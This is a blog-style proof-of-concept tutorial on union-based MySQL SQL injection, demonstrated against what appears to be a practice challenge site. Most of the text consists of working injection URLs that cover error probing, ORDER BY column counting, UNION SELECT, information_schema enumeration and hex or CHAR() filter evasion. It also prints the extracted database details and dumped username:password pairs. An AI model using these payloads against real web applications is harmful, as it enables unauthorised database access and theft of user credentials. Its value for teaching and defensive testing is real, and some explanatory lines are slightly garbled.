Today, I will be writing a simple PoC on SQL Injections. By reading
this information, you agree that you are responsible for the damage you
cause to personal property.
Any web application that allows user input as a derivative to perform
an action can be prone to command injection. Attackers can craft unique
queries that can result in database information disclosure of sensitive
data.
The SQL structures are compartmentalized into Servers, Databases,
Tables, Columns, and Rows. The SQL Server is the software running on the
machine waiting for instructions from a terminal or commands over the
internet. This SQL Server is comprised of one or many databases.These
databases are used for the storage of information and are composed of
tables, and these tables composed of columns and rows. Below is a simple
concept that demonstrates how records are stored in a MySQL database.
Tables > Columns > Records
Tables contain columns and columns have records. For example: Members
can be a table, Name can be a column, and the actual value is the
record.
What is SQL Injection?
SQL Injection is a server-side web application
vulnerability that occurs on the database layer of the web application
that allows users to execute arbitrary code to alter, modify, or delete
data. This is possible through carefully crafted SQL Statements that
are inserted via $GET or $POST parameters. Essentially an attacker is
aiming to match the SQL Syntax that coincides with the written
application to execute their own code. SQLi comes in various different
forms and techniques, usually exploiting MySQL, MsSQL, Postgre SQL,
Oracle, and even Access Databases. Now that we have a very generic
understanding of SQLi, the next section will discuss on how to spot
this vulnerability and exploit them.
Finding SQL Injection Vulnerabilities
SQL Injection vulnerabilities can be found on any web page
that uses a database to store user credentials, product information,
current news pertaining to the site, credit card numbers, access logs,
and more. For this demonstration I will be exploiting this flaw on a
system that allows user testing. This will simulate a real world
scenario on how attackers take advantage of this vulnerability. In
order to understand how this attack works, we need to take a look at
the URL and create pseudo code, because SQL is not visible by the
client.
Target:
http://leettime.net/sqlninja.com/tas...c_ch1.php?id=1
The back-end SQL code for this example should look similar to:
SELECT * FROM table WHERE ID=1
The above code is proper syntax for the application to behave as it
should. The most important part of identifying this vulnerability is by
placing an ‘ (apostrophe), at the end of the parameter a script is
using to cause a syntax error to verify that the application is
vulnerable to this attack. Now our URL becomes:
http://leettime.net/sqlninja.com/tas...c_ch1.php?id=1'
When the results are sent to the server, the webpage generates an error:
You have an error in your SQL Syntax; Check the manual that
corresponds to your MySQL Server version for the right syntax to use
near "1'" at line 1
It is very important that we analyze the error that is being
displayed. The application generates an error because the SQL Code is
not proper:
SELECT * FROM table WHERE ID=1
'
The application is looking for an ID of 1 and 1′ is not a valid entry.
Now that the vulnerability has been confirmed, we need to determine
how many columns are available. This is important because we need to
know how many fields to use in our injection – ‘
ORDER BY <number of columns>‘ will be used to determine how many columns are being used. Below is the request being sent:
http://leettime.net/sqlninja.com/tas...c_ch1.php?id=1'order by 300--+-
With this request, you are asking the database if the there are 300
columns, I usually use this range because there almost never 300 fields
in the database that are being used in the code, to verify that I can
start guessing. –+- is being used to comment the rest of the SQL Code.
The response from the server follows:
Unknown column '300' in 'order clause'
Server response tells us that the are not 300 columns, so we keep enumerating until we get a valid number
http://leettime.net/sqlninja.com/tas...c_ch1.php?id=1' order by 10--+- <-- Error
http://leettime.net/sqlninja.com/tas...c_ch1.php?id=1'order by 5--+- <-- Error
http://leettime.net/sqlninja.com/tas...c_ch1.php?id=1'order by 4--+- <-- Error
http://leettime.net/sqlninja.com/tas...c_ch1.php?id=1'order by 3--+- <-- No Error!
Now that we know that there are 3 columns, we need to find which
columns are visible for injecting. We will replace our queries in place
of this number in the URL. In order to do that we need to use ‘
UNION SELECT <Number of Columns>‘ and also make our statement false, our request will be:
http://leettime.net/sqlninja.com/tas...ic_ch1.php?id=-1
'union select 1,2,3--+-
False statements can be made in several different ways such as:
If you pay close attention, you will see a random “2” appear on
the site. This means that in our query, column 2 will be replaced with
our query to extract information from the database. In a real life
penetration test, these random numbers that appear on the site will
range from the column count and can be shown anywhere on the page.
The next step is to find some useful information about the database
such as the user, the database name, and most importantly the version.
- version() <– Displays Database Version
- @@version <– Displays Database Version
- user() <– Displays Current Database User
- database() <– Displays Current Database In Use
- Version = 5.5.42=cll
- Current User = leettime_W89sst1@localhost
- Current Database = leettime_761wHole
The version is a very important piece of information because it
will tell us if this attack can be automated. Databases whose version
are lower than 5 cannot use information_schema database. This is
necessary when obtaining all the tables from the database, which will
be our next step in this attack.
In order to retrieve all the tables from the database the following query will need to be sent to the server:
http://leettime.net/sqlninja.com/tas...ic_ch1.php?id=-1
'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+-
Which retrieves the tables –
testtable1,
userlogs, and
users.
Let me explain the above statement. Group_concat() is a function to
concatenate information, meaning, it will group all the information and
separate each field with a comma. In this case we are grouping all the
table which are denoted by the field or column name table_name (simple
enough to remember?) in the information_schema database on the “tables”
table. The last part of our query tells the database that we will be
using our current database for the retrieval of these tables, which we
know is database(). This explanation can be confusing, below is the
simple structure of the query, as it goes from general to specific:
- SELECT column(s) FROM table WHERE <condition>
- SELECT column(s) FROM database.table WHERE <condition>
- SELECT table_name FROM information_schema.tables WHERE table_schema=database()
- SELECT group_concat(table_name) FROM database.table WHERE table_schema=database()
Our job at this point is to select a table that may contain
sensitive user information. From our list, the table “users” will
satisfy that need. The next phase is to extract the columns from that
table. This can be done in several forms:
- http://leettime.net/sqlninja.com/tas...ic_ch1.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+-
- http://leettime.net/sqlninja.com/tas...ic_ch1.php?id=–1‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273–+-
- http://leettime.net/sqlninja.com/tas...ic_ch1.php?id=–1‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=CHAR(117, 115, 101, 114, 115)–+-
A couple of things changed here, “
table_name” becomes “
column_names” and “
information_schema.tables” becomes “
information_schema.tables“. Our
WHERE clause also changes to “
table_name='<table_name>’“.
The first form shows that the value for “table_name” is ‘users’. This
is the table in plain text and can be done in this form because single
quotes are not escaped or filtered.
The second form shows that the value for “table_name” is ‘0x7573657273′ which is hexidecimal value for the word “users”.
Lastly, the final way to specify the value for “table_name” is by
using CHAR(). Here each letter of the word “users” is replaced with the
ASCII representation of that letter. For example, 117 is “u”, 115 is
“s”, 114 is “e”, etc.
The webpage loads with the requested information and provides us with the columns for the “
users” table –
id,
username,
password,
user_type, and
sec_code. The columns we are interested in are “
username” and “
password“. Now we extract the information from those fields like so:
http://leettime.net/sqlninja.com/tas...ic_ch1.php?id=-1
'union select 1,group_concat(username,0x3a,password),3 from users--+-
The username and password are being concatenated together with
0x3a
which is hex for a colon “:” and every field separated by a comma. The
final response extract the username and password from the users table:
- injector:khan,decompiler:hacktract,devilhunte:dant
e,Zen:sec-idiots,Zenodermus:security-i,grayhat:hacker,khan:haxor,admin:sadmin
Conclusion
Based on the demonstrated concept above, SQL Injection can
be used to disclose personal user information. This post did not
describe an intricate method on how to perform this attack, as it is
the most basic forms of SQL Injection. A lot of topics were excluded
from this post due to the length of the material. However, it provides
the public with a general understanding on how the attack can be done.
Thank you for reading!